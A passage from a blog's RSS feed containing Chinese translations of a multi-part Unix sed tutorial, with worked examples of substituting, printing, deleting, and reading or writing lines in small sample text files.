&lt;p&gt;N表示读入并合并下一行，然后将两行之间的换行符替换为空即可了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如果第一列是Ubuntu，就把最后一列替换成99&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/\(Ubuntu\)\(,.*,\).*/\1\299/&#39; file
Solaris,25,11
Ubuntu,31,99
Fedora,21,3
LinuxMint,45,4
RedHat,12,5&lt;/pre&gt;
&lt;p&gt;中间的&lt;/p&gt;
&lt;pre&gt;\(Ubuntu\)\(,.*,\).*&lt;/pre&gt;
&lt;p&gt;匹配“Ubuntu,任意个字符,任意个字符”,也就是将行分成几组，将本行替换成第一组的内容第一组的内容，第二组的内容，但最后的一列被替换成99，就这样。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.如果第一列是RedHat就删除第二列&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第七篇–输出文件内容(10 Demo)</title>
      <link>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%83%E7%AF%87%E8%BE%93%E5%87%BA%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B910-demo/</link>
      <pubDate>Sun, 11 Aug 2013 16:27:31 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/11/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%83%E7%AF%87%E8%BE%93%E5%87%BA%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B910-demo/</guid>
      <description>&lt;p&gt;之前已经学习过&lt;a href=&#34;http://leaver.me/archives/3179.html&#34;&gt;选择性打印输出&lt;/a&gt;了，本文将通过10个例子全面讲解文件输出的一些方法，主打p命令&lt;/p&gt;
&lt;p&gt;首先看一下将使用的示例文件&lt;/p&gt;
&lt;pre&gt;$ cat file
AIX
Solaris
Unix
Linux
HPUX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.打印文件首行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;1p&#39; file
AIX&lt;/pre&gt;
&lt;p&gt;之前讲过了，-n取消默认的全部打印，p表示print，1就是行号了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.输出最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;$p&#39; file
HPUX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.输出不匹配X的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/X/!p&#39; file
Solaris
Unix
Linux&lt;/pre&gt;
&lt;p&gt;也好理解，！表示非，就是说包含X匹配的不打印输出&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.输出包含u/x的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/[ux]/p&#39; file
Unix
Linux&lt;/pre&gt;
&lt;p&gt;正则是强大的，这样就匹配了u/x&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.输出以x/X结尾的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/[xX]$/p&#39; file
AIX
Unix
Linux
HPUX&lt;/pre&gt;
&lt;p&gt;这里$符号不再是匹配文件尾部，而是行尾，这是正则的规则&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.输出以A/L开头的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/^A\|^L/p&#39; file
AIX
Linux&lt;/pre&gt;
&lt;p&gt;前面也说过，^匹配了行首，A表示A匹配，然而|则是或者的意思，为什么要加\转义，是为了避免被解析成pipe管道，后面的就不解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.隔行打印&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;n命令是输出当前行，然后读入下一行到pattern space的意思，这句命令是这么执行的，首先读入一行，然后通过n命令输出，然后通过n命令再读一行，然后把这行删除，就出现了隔行输出的效果&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如何两行输出，隔两行再输出&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;n;n;N;d&#39; file
AIX
Solaris
HPUX&lt;/pre&gt;
&lt;p&gt;n;n; 命令呢输出了前两行，然后读入第三行到pattern space，N命令则对如下一行并与第三行合并，然后d命令删除pattern space中的内容，于是三四行被清空，然后读入56行，继续重复。就这样。作者这里给出的例子不直观，我举个例子，我的文件内容是&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat test.txt
1
2
3
4
5
6
7
8
9&lt;/pre&gt;
&lt;p&gt;执行上面的命令后，会输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;1
2
5
6
9&lt;/pre&gt;
&lt;p&gt;明白了吧&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.输出某个范围行内以X结果的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Unix/,${/X$/p;}&#39; file
HPUX&lt;/pre&gt;
&lt;p&gt;这里首先制定了从/Unix/匹配开始到文件尾部的这些行，然后呢，在这些之间的行，如果以X结果，就输出。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.输出不包括开始和结尾的那些行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Solaris/,/HPUX/{//!p;}&#39; file
Unix
Linux&lt;/pre&gt;
&lt;p&gt;这个命令就会只输出/Solaris/和/HPUX/之间的行，不包括他们两个。&lt;/p&gt;
&lt;p&gt;这里要说一下//这个，当匹配了Solaris的时候就进入了花括号，因为这个里面没有提供任何匹配，所以就考虑最后一次匹配模式，也就是相当于是考虑Solaris这一行，他不被打印，当到了HPUX这一匹配，//又代表了HPUX匹配，这一行也不打印。&lt;/p&gt;
&lt;p&gt;Demo完了，你懂了么。&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第六篇–删除文件内容</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AD%E7%AF%87%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</link>
      <pubDate>Sat, 10 Aug 2013 13:15:38 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%85%AD%E7%AF%87%E5%88%A0%E9%99%A4%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</guid>
      <description>&lt;p&gt;其实，删除和替换是由一些相同的，不过，这里我们单独列出来，通过25个例子穿插讲解sed删除文件的一些方法，使用的示例文件如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.删除第一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d&#39; file
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;d就是删除，1就是指第1行，记得哦，这不会影响到源文件，一般，做删除的时候一般要加-i参数，前面说过了&lt;/p&gt;
&lt;pre&gt;sed -i &#39;1d&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除指定行，这里删除第3行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;3d&#39; file
Cygwin
Unix
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.删除最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;$d&#39; file
Cygwin
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.删除范围行，这里删除2-4行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;2,4d&#39; file
Cygwin
AIX&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.保留指定的行，这里保留2-4行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;2,4!d&#39; file
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;！这个是对前面的2,4来操作，是非的意思，也就是不是2-4行的行，这样除去2-4行，其他的都删除了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.删除第一行和最后一行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d;$d&#39; file
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;分号隔开两个命令，你懂的，也可以删除第二行和第三行等等. &amp;lsquo;2d;3d&amp;rsquo;&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.删除以指定字符开头的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^L/d&#39; file
Cygwin
Unix
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;这里就把以L开头的Linux这一行删除了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.删除以指定字符结尾的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/x$/d&#39; file
Cygwin
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;这里就删除了，可以看到AIX没有删除，unix区分大小写你懂的&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.忽略大小写，都删除&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/[xX]$/d&#39; file
Cygwin
Solaris&lt;/pre&gt;
&lt;p&gt;[xX]匹配x或X，所以就成功了嘛&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.删除文件中的空行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^$/d&#39; file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;^匹配开头，$匹配结果，中间啥都没有，这样就匹配了空行，但是注意哦，如果某一行全是空格，这个命令是不会删除这一行的。&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;11.删除空行或是仅仅包含空格的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^ *$/d&#39; file
Cygwin
Unix
Linux
Solaris
AIX&lt;/pre&gt;
&lt;p&gt;如果你看我前面的文章，这个就不用我说了吧，0个或多个空格就是匹配了所有的空行了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;12.删除完全是大写字母的行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/^[A-Z]*$/d&#39; file
Cygwin
Unix
Linux
Solaris&lt;/pre&gt;
&lt;p&gt;[A-Z]就匹配了26个大写字母的任意一个&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;13.删除包含Unix匹配的行&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第五篇–替换文件内容续</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%94%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E7%BB%AD/</link>
      <pubDate>Sat, 10 Aug 2013 09:05:55 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%94%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9%E7%BB%AD/</guid>
      <description>&lt;p&gt;前面已经学习过&lt;a href=&#34;http://leaver.me/archives/3174.html&#34;&gt;替换文件内容&lt;/a&gt;了，本文我们学习一些更频繁使用的搜索替换操作.&lt;/p&gt;
&lt;p&gt;示例文件使用：&lt;/p&gt;
&lt;pre&gt;$ cat file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.替换每行开始的两个字母，这里用XX来替换&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^../XX/&#39; file
XX01:EMP1:25:2500
XX02:EMP2:26:2650
XX03:EMP3:24:3500
XX04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;s代表substitute，前面说过了，^用来匹配行开头，.表示任意一个字符，两个..就是你懂的，&lt;/p&gt;
&lt;p&gt;其实，不要^符号也是可以的，因为默认就是从开头开始匹配，如下也可以实现&lt;/p&gt;
&lt;pre&gt;sed &#39;s/../XX/&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.删除每行开头的两个字符&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^..//&#39; file
01:EMP1:25:2500
02:EMP2:26:2650
03:EMP3:24:3500
04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;看到没有，后两个斜线之间没有内容，也就是用空字符来替换开头的两个字符，就实现了删除&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.要是想删除每行最后的两个字符呢&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/..$//&#39; file
RE01:EMP1:25:25
RE02:EMP2:26:26
RE03:EMP3:24:35
RE04:EMP4:27:29&lt;/pre&gt;
&lt;p&gt;再次强调，$在不同的情况下表示不同的意思，这里匹配行尾，有时候也匹配文件尾部&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.向每行末尾添加内容&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/$/.Rs/&#39; file
RE01:EMP1:25:2500.Rs
RE02:EMP2:26:2650.Rs
RE03:EMP3:24:3500.Rs
RE04:EMP4:27:2900.Rs&lt;/pre&gt;
&lt;p&gt;这里，先匹配行尾，然后把&amp;quot;.Rs&amp;quot;添加到行尾&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.在每行开头添加空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^/   /&#39; file
   RE01:EMP1:25:Rs.2500
   RE02:EMP2:26:Rs.2650
   RE03:EMP3:24:Rs.3500
   RE04:EMP4:27:Rs.2900&lt;/pre&gt;
&lt;p&gt;还记得前面说过的么，sed默认不影响原始文件，要是想更新原始文件，请加-i参数&lt;/p&gt;
&lt;pre&gt;$ sed -i &#39;s/^/   /&#39; file
$ cat file
   RE01:EMP1:25:Rs.2500
   RE02:EMP2:26:Rs.2650
   RE03:EMP3:24:Rs.3500
   RE04:EMP4:27:Rs.2900&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.移除开始的空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^ *//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;^匹配行首，然后是一个空格，然后是*，表示一个或多个空格嘛，然后替换为空字符&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.移除行首和行尾的空格&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^ *//; s/ *$//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;不要怕，从分号处分开，就是两条命令啦，一个做行首的，一个做行尾的，前面说过的，可以使用-e参数来分开&lt;/p&gt;
&lt;pre&gt;sed -e &#39;s/^ *//&#39; -e &#39;s/ *$//&#39; file&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;8.如何在一个字符串前后添加一些其他字符呢，可以用来字符串转义&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/.*/&#34;&amp;amp;&#34;/&#39; file
&#34;RE01:EMP1:25:Rs.2500&#34;
&#34;RE02:EMP2:26:Rs.2650&#34;
&#34;RE03:EMP3:24:Rs.3500&#34;
&#34;RE04:EMP4:27:Rs.2900&#34;&lt;/pre&gt;
&lt;p&gt;前两个斜线匹配了所有字符，也就是本行，然后后面两个斜线是替换的内容，注意里面的&amp;amp;符号，之前也说过的，表示匹配到的字符，也就是本行了。所有就这样啦&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;9.移除行首和行尾的一个字符（多个你也会的啦）&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;s/^.//;s/.$//&#39; file
RE01:EMP1:25:2500
RE02:EMP2:26:2650
RE03:EMP3:24:3500
RE04:EMP4:27:2900&lt;/pre&gt;
&lt;p&gt;分开看看，你可以的&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;10.删除第一个数字之前的所有字符&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第四篇–选择性打印</title>
      <link>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%9B%9B%E7%AF%87%E9%80%89%E6%8B%A9%E6%80%A7%E6%89%93%E5%8D%B0/</link>
      <pubDate>Sat, 10 Aug 2013 08:39:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/10/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E5%9B%9B%E7%AF%87%E9%80%89%E6%8B%A9%E6%80%A7%E6%89%93%E5%8D%B0/</guid>
      <description>&lt;p&gt;本文，我们将会学习如何选择性的打印（其实，这里的打印是print，也就是输出到标准输出的意思），用到的示例文件是：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file 
Gmail 10 
Yahoo 20 
Redif 18&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.打印所有内容&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;一对单引号，没有任何参数即可&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何打印包含Gmail的那一行.(grep也可以实现这个功能)&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed &#39;/Gmail/p&#39; file
Gmail 10
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;在斜线里面，我们指定正则匹配模式，p的意思呢，就是print，打印的意思，也就是打印包含Gmail这一行，但是我们看到Gmail打印了两次，为什么，因为sed的默认行为是在解析完一行之后就把他输出出来，也就是对于Gmail这一行，先执行p解析，解析完成后再默认打印一次，就打印了两次，而其他的，没有命令解析，直接读入完成后输出即可。&lt;/p&gt;
&lt;p&gt;如果得到期望的结果呢？&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Gmail/p&#39; file
Gmail 10&lt;/pre&gt;
&lt;p&gt;-n参数会取消sed的默认打印行为，所以就ok了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.删除包含Gmail的那一行。（grep -v也有同样的效果）&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;/Gmail/d&#39; file
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;d就是delete的意思，不多解释，&lt;/p&gt;
&lt;p&gt;同样，要想删除某一指定的行&lt;/p&gt;
&lt;pre&gt;$ sed &#39;1d&#39; file
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.打印直到模式匹配，这里我们从头一直打印到Yahoo&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed  &#39;/Yahoo/q&#39; file
Gmail 10
Yahoo 20&lt;/pre&gt;
&lt;p&gt;q就是quit的意思，这条命令就是对于前面的行都没啥可解析的，执行默认的打印即可，一到碰到Yahoo这一行，打印完成，就停止，退出，因此，就是上面的了&lt;/p&gt;
&lt;p&gt;打印某一指定范围行&lt;/p&gt;
&lt;p&gt;到此，我们一直在学习基于一个条件取一行或多行，现在，我们来学习打印指定范围行&lt;/p&gt;
&lt;p&gt;使用的示例文件如下：&lt;/p&gt;
&lt;pre&gt;$ cat file
Gmail 10
Yahoo 20
Redif 18
Inbox 15
Live  23
Hotml 09&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;5.打印前三行&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;1,3p&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;-n先取消默认打印，然后1,3指定行范围，p表示打印，你想一下我们前面的q命令，就知道下面这个命令效果是一样的&lt;/p&gt;
&lt;pre&gt;$ sed &#39;3q&#39; file
Gmail 10
Yahoo 20
Redif 18&lt;/pre&gt;
&lt;p&gt;执行默认打印，到第三行的时候退出&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;6.通过模式指定范围，这里我打印从Yahoo到Live之间的行，包括本身&lt;/span&gt;&lt;/p&gt;
&lt;pre&gt;$ sed -n &#39;/Yahoo/,/Live/p&#39; file
Yahoo 20
Redif 18
Inbox 15
Live  23&lt;/pre&gt;
&lt;p&gt;不用多解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;7.从指定模式到文件尾部，这里是从Redif到文件尾&lt;/span&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第三篇–读写文件</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%89%E7%AF%87%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6/</link>
      <pubDate>Fri, 09 Aug 2013 16:52:56 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%B8%89%E7%AF%87%E8%AF%BB%E5%86%99%E6%96%87%E4%BB%B6/</guid>
      <description>&lt;p&gt;本文将展示如何将文件内容读入到sed输出，同时包含如何将一个文件的部分内容写入到另一文件&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;strong&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;一.文件读取&lt;/span&gt;&lt;/strong&gt;&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;假定有两个文件，file1和file2，内容分别如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file1 
1apple 
1banana 
1mango&lt;/pre&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file2 
2orange 
2strawberry&lt;/pre&gt;
&lt;p&gt;sed有两个选项用来读写文件&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;r filename : 读取filename指定的文件内容
w filename : 将内容写入filename指定的文件&lt;/pre&gt;
&lt;p&gt;看例子：&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;1.在file1的每一行读完之后读取file2的内容&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;r file2&#39; file1
1apple
2orange
2strawberry
1banana
2orange
2strawberry
1mango
2orange
2strawberry&lt;/pre&gt;
&lt;p&gt;r file2读取file2的所有内容，因此r之前没有知道那个行号或匹配，因此有了上面的输出，记住，sed的工作机制，每次读file1的一行，然后执行命令&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.如何在读取了file1的第一行之后将file2读入&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;1r file2&#39; file1
1apple
2orange
2strawberry
1banana
1mango&lt;/pre&gt;
&lt;p&gt;r前面加个1就行了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.当file1某行匹配了模式之后，读入file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;/banana/r file2&#39; file1
1apple
1banana
2orange
2strawberry
1mango&lt;/pre&gt;
&lt;p&gt;sed逐行读入file1，然后判断该行是否匹配banana，如果匹配，就读入file2&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;4.当file1读取完成后读入file2，其实就是合并两个文件&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;$r file2&#39; file1
1apple
1banana
1mango
2orange
2strawberry&lt;/pre&gt;
&lt;p&gt;这里只是演示一下，其实cat file1 file2就可以完成合并&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;&lt;em&gt;&lt;strong&gt;二.文件写入&lt;/strong&gt;&lt;/em&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;使用一个file1文件，内容如下：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file1
apple
banana
mango
orange
strawberry&lt;/pre&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt; 1.将file1的2-4行写入到file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;2,4w file2&#39; file1&lt;/pre&gt;
&lt;p&gt;2,4w就是写2-4行的意思，那-n呢？默认情况下sed会把读入的文件处理的结果输出到标准输出，也就是终端，而为了不使用默认输出，-n就派上用场了，执行该命令终端不会有任何输出&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ cat file2
banana
mango
orange&lt;/pre&gt;
&lt;p&gt;查看file2内容，发现已经写入成功了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;2.从第三行开始全部写入file2&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;3,$w file2&#39; file1

$ cat file2
mango
orange
strawberry&lt;/pre&gt;
&lt;p&gt;就不多解释了&lt;/p&gt;
&lt;p&gt;&lt;span style=&#34;color: #3366ff;&#34;&gt;3.如果是用正则呢？&lt;/span&gt;&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed -n &#39;/apple/,/mango/w file2&#39; file1

$ cat file2
apple
banana
mango&lt;/pre&gt;
&lt;p&gt;该命令将逐行读入file1，然后判断该行是否匹配apple，如果匹配，则作为起始行，然后继续读入，判断是否匹配mango，如果是，则作为终止行，然后将中间的内容写入到file2&lt;/p&gt;</description>
    </item>
    <item>
      <title>[译]Unix sed实用教程第二篇–替换文件内容</title>
      <link>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%8C%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</link>
      <pubDate>Fri, 09 Aug 2013 16:24:12 +0000</pubDate>
      <guid>http://blog.leaver.me/2013/08/09/%E8%AF%91unix-sed%E5%AE%9E%E7%94%A8%E6%95%99%E7%A8%8B%E7%AC%AC%E4%BA%8C%E7%AF%87%E6%9B%BF%E6%8D%A2%E6%96%87%E4%BB%B6%E5%86%85%E5%AE%B9/</guid>
      <description>&lt;p&gt;上一节中-&lt;a href=&#34;http://leaver.me/archives/3169.html&#34;&gt;Unix sed实用教程第一篇–向文件中增加一行&lt;/a&gt; 学习了添加文件，本节讲解数据内容替换.&lt;/p&gt;
&lt;p&gt;本节将使用sample1.txt文件作为示例，文件内容如下，都是些水果..：&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;apple 
orange 
banana 
pappaya&lt;/pre&gt;
&lt;p&gt;1.向每一行的开头添加内容，这里我们添加“Fruit：”&lt;/p&gt;
&lt;pre class=&#34;lang:default decode:true&#34;&gt;$ sed &#39;s/^/Fruit: /&#39; sample1.txt 
Fruit: apple 
Fruit: orange 
Fruit: banana 
Fruit: pappaya&lt;/pre&gt;
